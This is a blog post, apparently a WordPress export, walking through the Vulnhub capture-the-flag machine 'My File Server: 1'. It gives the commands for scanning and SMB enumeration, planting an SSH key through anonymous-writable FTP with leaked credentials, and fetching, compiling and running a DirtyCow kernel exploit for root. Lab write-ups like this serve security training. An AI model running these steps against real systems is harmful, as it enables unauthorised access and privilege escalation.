{"id":25639,"date":"2020-03-28T17:01:30","date_gmt":"2020-03-28T11:31:30","guid":{"rendered":"https:\/\/www.armourinfosec.com\/?p=25639"},"modified":"2020-04-09T09:53:34","modified_gmt":"2020-04-09T04:23:34","slug":"my-file-server-1-walkthrough","status":"publish","type":"post","link":"https:\/\/www.armourinfosec.com\/my-file-server-1-walkthrough\/","title":{"rendered":"My File Server: 1 Walkthrough"},"content":{"rendered":"
My File Server: 1<\/a> Walkthrough Vulnhub CTF<\/p>\n I will share with you a new Walkthrough for Vulnhub machines. My File Server: 1 This CTF machine is Created by Akanksha Sachin Verma You can download here this CTF . I would call this box on the easy side but there are a lot of moving parts which can cause you to follow some different directions. I don’t want to say to much so let’s get at it.<\/p>\n Network Scan<\/strong><\/p>\n Enumeration<\/strong><\/p>\n Exploit<\/strong><\/p>\n Privilege Escalation<\/strong><\/p>\n So, as we always start with netdiscover to get the IP of the VM machine and the IP of the host I\u2019ve found is 192.168.2.5<\/p>\n <\/p>\n Let\u2019s proceed with network scan using Nmap aggressive scan as given below<\/p>\n <\/p>\n It was very interesting as there were so many services running on the host network. We saw FTP\u2019s \u201canonymous login enabled\u201d and port 445 was also available for SMB.<\/p>\n <\/p>\n In order to enumerate SMB and identify a username as \u201csmbuser\u201d , I use the following command.<\/p>\n <\/p>\n On applying the Nmap script for SMB we found a user named smbuser<\/p>\n <\/p>\n We also explore the IP host in the web browser as port 80 has been opened for the HTTP service. There was nothing special at web page just a link to Amrour Infosec.<\/p>\n <\/p>\n I chose to run Nikto for HTTP weak config listing, and luckily found an entry for \u201creadme.txt,\u201d let\u2019s test this in the web browser.<\/p>\n <\/p>\n I think the author has kept this file as a clue that he wants to get the password by searching the readme.txt file. So now I had the username \u201csmbuser\u201d and the password \u201crootroot1\u201d and it was time to connect to the host machine via ssh, so I tried to use this cred for ssh login, but we got an error as connection timeout, which means that the username \u201csmbuser\u201d cannot connect to the host machine via ssh.<\/p>\n <\/p>\n Now time to generate some ssh keys, thus we used ssh-keygen to generate ssh public keys without password in our local machine i.e. KALI LINUX. Moving on after the key is created, we moved into the .ssh directory on our native shell, here we saw that we have the key named \u201cid_rsa.pub\u201d.<\/p>\n Let\u2019s generate keys for SSH so we can login into smbuser!<\/p>\n Steps:<\/p>\n <\/p>\n With the help of above-enumerated creds \u201csmbuser:rootroot1<\/strong>\u201d we logged into FTP and create a folder as .ssh inside \/home\/smbuser, then try to upload the id_rsa.pub which we have generated in above mention step as authorized_keys\u00a0 inside the .ssh directory.<\/p>\n <\/p>\n Now we should be able to ssh with the private key:<\/p>\n <\/p>\n <\/p>\n I found it\u2019s a really old version of the kernel that\u2019s built here, so I\u2019m trying to check for a piece of code to exploit, and luckily, I find it to be a DIRTYCOW exploit. So, I download a hack from Exploit-DB<\/a> written in c.<\/p>\n <\/p>\n I downloaded the exploit inside the host machine, and then compiled it before running the exploit, so I ran the following commands.<\/p>\n Eureka……. Root ……<\/p>\n <\/p>\n Boom! We got root the shell by running .\/dasagreeva<\/strong> and finally, we obtain proof.txt<\/strong> file.<\/p>\n <\/strong><\/p>\n<\/strong><\/h3>\n
Penetration Testing Methodologies<\/strong><\/h3>\n
\n
\n
\n
\n
Network Scanning<\/h4>\n
netdiscover\u00a0 -i vboxnet0<\/pre>\n
nmap -p- -A 192.168.2.5<\/pre>\n
Enumeration<\/h3>\n
smbmap -H 192.168.2.5\r\nsmbclient\u00a0 -L 192.168.2.5<\/pre>\n
nmap --script smb-enum-shares.nse -p445 192.168.2.6<\/pre>\n
nikto -h http:\/\/192.168.2.5<\/pre>\n
Exploitation<\/strong><\/h3>\n
\n
ssh-keygen\r\ncd .ssh\r\nls -lha\r\n<\/pre>\n
ftp 192.168.2.5\r\npwd\r\nmkdir .ssh\r\ncd .ssh\r\nput \/root\/.ssh\/.id_rsa.pub authorized_keys\r\nexit\r\n<\/pre>\n
ssh -i id_rsa smbuser@192.168.2.5<\/pre>\n
uname -a<\/pre>\n
Privilege Escalation <\/strong><\/h3>\n
python\u00a0 -m SimpleHTTPServer 8080\r\nON THE SHELL\r\nwget http:\/\/192.168.2.1:8080\/40616.c\r\ngcc 40616.c -o dasagreeva -pthread\r\n.\/dasagreeva<\/pre>\n
cd \/root\r\nls\r\ncat proof.txt\r\nid\r\nhostname<\/pre>\n